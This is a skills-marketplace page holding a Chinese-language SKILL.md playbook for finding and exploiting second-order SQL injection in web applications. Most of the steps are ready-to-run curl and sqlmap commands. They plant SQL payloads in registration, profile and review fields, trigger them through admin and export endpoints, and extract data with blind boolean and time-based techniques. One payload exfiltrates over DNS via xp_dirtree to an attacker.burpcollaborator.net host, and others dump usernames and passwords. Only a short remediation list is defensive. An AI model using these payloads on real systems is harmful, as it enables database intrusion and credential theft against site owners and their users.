L’interface est localisée ; les présentations et documents des Skills sont traduits automatiquement par IA dans votre langue. Le code, les commandes, chemins et termes techniques restent en version originale, et le document de l’auteur fait foi.
Explorer les Skills
Données et recherche · SKILL.md

performing-second-order-sql-injection

performing-second-order-sql-injection

检测并利用二阶 SQL 注入漏洞,其中恶意输入存储在数据库中,并在不同应用程序操作期间在不安全的 SQL 查询中执行。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentation de la Skill

GitHub

name: performing-second-order-sql-injection description: 检测并利用二阶 SQL 注入漏洞,其中恶意输入存储在数据库中,并在不同应用程序操作期间在不安全的 SQL 查询中执行。 domain: cybersecurity subdomain: web-application-security tags: [second-order-sqli, stored-sql-injection, sql-injection, database-security, web-security, blind-injection, persistent-sqli] version: "1.0" author: mahipal license: Apache-2.0

执行二阶 SQL 注入(Performing Second-Order SQL Injection)

适用场景

  • 当一阶 SQL 注入测试显示存储时输入清理正确时
  • 在对数据库中存储有用户生成内容的应用程序进行渗透测试时
  • 测试存储数据会反馈到后续数据库查询的多步骤工作流时
  • 评估显示或处理用户提交数据的管理员面板时
  • 评估使用先前存储数据的存储过程执行路径时

前置条件

  • Burp Suite Professional,用于跨应用程序流跟踪请求
  • SQLMap,带有二阶注入支持(--second-url 标志)
  • 了解 SQL 注入基础知识和盲提取技术
  • 两个或多个应用程序功能(一个用于存储数据,另一个用于触发执行)
  • 数据库错误消息监控或盲技术知识
  • 多个用户账户,用于在不同上下文中测试存储数据

工作流程

步骤 1 — 识别存储点和触发点

# 映射应用程序以识别:
# 1. 存储点:用户输入被保存到数据库的位置
#    - 用户注册(用户名、邮箱、地址)
#    - 个人资料更新表单
#    - 评论/评价提交
#    - 文件上传元数据
#    - 订单/预订详情

# 2. 触发点:存储数据被用于查询的位置
#    - 显示用户数据的管理员面板
#    - 报告生成
#    - 使用存储偏好的搜索功能
#    - 使用存储邮箱的密码重置
#    - 导出/下载功能

# 使用 SQL 注入注册用户,将注入放入用户名
curl -X POST http://target.com/register \
  -d "username=admin'--&password=test123&email=test@test.com"

步骤 2 — 通过存储点注入载荷

# 在注册期间将 SQL 注入载荷存储在用户名中
curl -X POST http://target.com/register \
  -d "username=test' OR '1'='1'--&password=Test1234&email=test@test.com"

# 在个人资料字段中存储注入
curl -X POST http://target.com/api/profile \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "display_name=test' UNION SELECT password FROM users WHERE username='admin'--"

# 在地址字段中存储注入
curl -X POST http://target.com/api/address \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "address=123 Main St' OR 1=1--&city=Test&zip=12345"

# 在评论/评价中存储注入
curl -X POST http://target.com/api/review \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "product_id=1&review=Great product' UNION SELECT table_name FROM information_schema.tables--"

步骤 3 — 触发执行存储的载荷

# 通过密码修改触发(使用存储的用户名)
curl -X POST http://target.com/change-password \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "old_password=Test1234&new_password=NewPass123"

# 通过管理员用户列表触发
curl -H "Cookie: session=ADMIN_TOKEN" http://target.com/admin/users

# 通过数据导出触发
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/api/export-data

# 通过使用存储偏好的搜索触发
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/api/recommendations

# 通过报告生成触发
curl -H "Cookie: session=ADMIN_TOKEN" "http://target.com/admin/reports?type=user-activity"

步骤 4 — 使用 SQLMap 进行二阶注入

# 使用 --second-url 进行二阶注入的 SQLMap
# 在注册时存储载荷,在个人资料页面触发
sqlmap -u "http://target.com/register" \
  --data="username=*&password=test&email=test@test.com" \
  --second-url="http://target.com/profile" \
  --cookie="session=AUTH_TOKEN" \
  --batch --dbs

# 使用 --second-req 处理复杂的触发请求
sqlmap -u "http://target.com/api/update-profile" \
  --data="display_name=*" \
  --second-req=trigger_request.txt \
  --cookie="session=AUTH_TOKEN" \
  --batch --tables

# trigger_request.txt 内容:
# GET /admin/users HTTP/1.1
# Host: target.com
# Cookie: session=ADMIN_TOKEN

步骤 5 — 盲二阶提取

# 基于布尔的盲注:检查存储的载荷是否导致不同行为
# 存储:test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
curl -X POST http://target.com/api/profile \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "display_name=test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--"

# 触发并观察响应差异
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/profile

# 基于时间的盲注二阶注入
# 存储:test'; WAITFOR DELAY '0:0:5'--
curl -X POST http://target.com/api/profile \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "display_name=test'; WAITFOR DELAY '0:0:5'--"

# 通过 DNS 进行带外提取
# 存储:test'; EXEC xp_dirtree '\\attacker.burpcollaborator.net\share'--
curl -X POST http://target.com/api/profile \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "display_name=test'; EXEC master..xp_dirtree '\\\\attacker.burpcollaborator.net\\share'--"

步骤 6 — 升级到完整数据库入侵

# 一旦确认注入,枚举数据库
# 存储基于 UNION 的载荷
curl -X POST http://target.com/api/profile \
  -d "display_name=test' UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()--"

# 提取凭据
curl -X POST http://target.com/api/profile \
  -d "display_name=test' UNION SELECT GROUP_CONCAT(username,0x3a,password) FROM users--"

# 触发执行并读取结果
curl http://target.com/profile

核心概念

概念定义
二阶注入(Second-Order Injection)SQL 载荷安全存储,然后在后续操作中以不安全方式执行
存储点(Storage Point)将恶意输入保存到数据库的应用程序功能
触发点(Trigger Point)检索存储数据并在不安全查询中使用它的独立功能
可信数据假设(Trusted Data Assumption)开发者假设数据库存储的数据是安全的,跳过参数化
存储过程链(Stored Procedure Chains)通过使用先前保存的用户数据的存储过程注入
延迟执行(Deferred Execution)载荷可能在初始存储后数小时或数天才执行
跨上下文注入(Cross-Context Injection)一个用户存储的数据在另一个用户的上下文中触发执行

工具与系统

工具用途
SQLMap带 --second-url 支持的自动化 SQL 注入工具,用于二阶攻击
Burp Suite跨存储和触发端点的请求跟踪和比较
OWASP ZAP带有注入检测的自动化扫描
Commix支持二阶技术的自动化命令注入工具
自定义 Python 脚本构建自动化存储-触发利用链
DBeaver/DataGrip用于验证存储载荷的直接数据库访问

常见场景

  1. 基于用户名的攻击 — 使用 SQL 注入载荷作为用户名注册;当管理员查看用户列表时载荷执行
  2. 密码修改利用 — 在用户名中存储注入;修改密码时,应用程序在不安全的 UPDATE 查询中使用存储的用户名
  3. 报告生成攻击 — 在存储的数据字段中注入载荷;触发报告生成时在聚合查询中使用存储数据
  4. 跨用户注入 — 在共享数据字段(评论、评价)中注入载荷,当另一个用户或管理员处理数据时触发
  5. 导出功能利用 — 在个人资料数据中注入载荷,在 CSV/PDF 导出操作期间触发

输出格式

## 二阶 SQL 注入报告
- **目标**:http://target.com
- **存储点**:POST /register(用户名字段)
- **触发点**:GET /admin/users(管理员面板)
- **数据库**:MySQL 8.0

### 攻击流程
1. 注册用户,用户名为:`admin' UNION SELECT password FROM users--`
2. 应用程序使用参数化 INSERT 安全存储用户名
3. 管理员面板使用 SELECT 中的不安全字符串连接检索用户名
4. 注入的 SQL 执行,在管理员视图中暴露所有用户密码

### 提取的数据
| 表 | 列 | 记录数 |
|-------|---------|---------|
| users | username, password, email | 150 |
| admin_tokens | token, user_id | 3 |

### 修复建议
- 对所有数据库操作(包括读取)使用参数化查询
- 永远不要将从数据库检索的数据视为安全的
- 显示数据库内容时实施输出编码
- 应用最小权限数据库权限
- 启用 SQL 查询日志以检测注入尝试
Skills enregistrées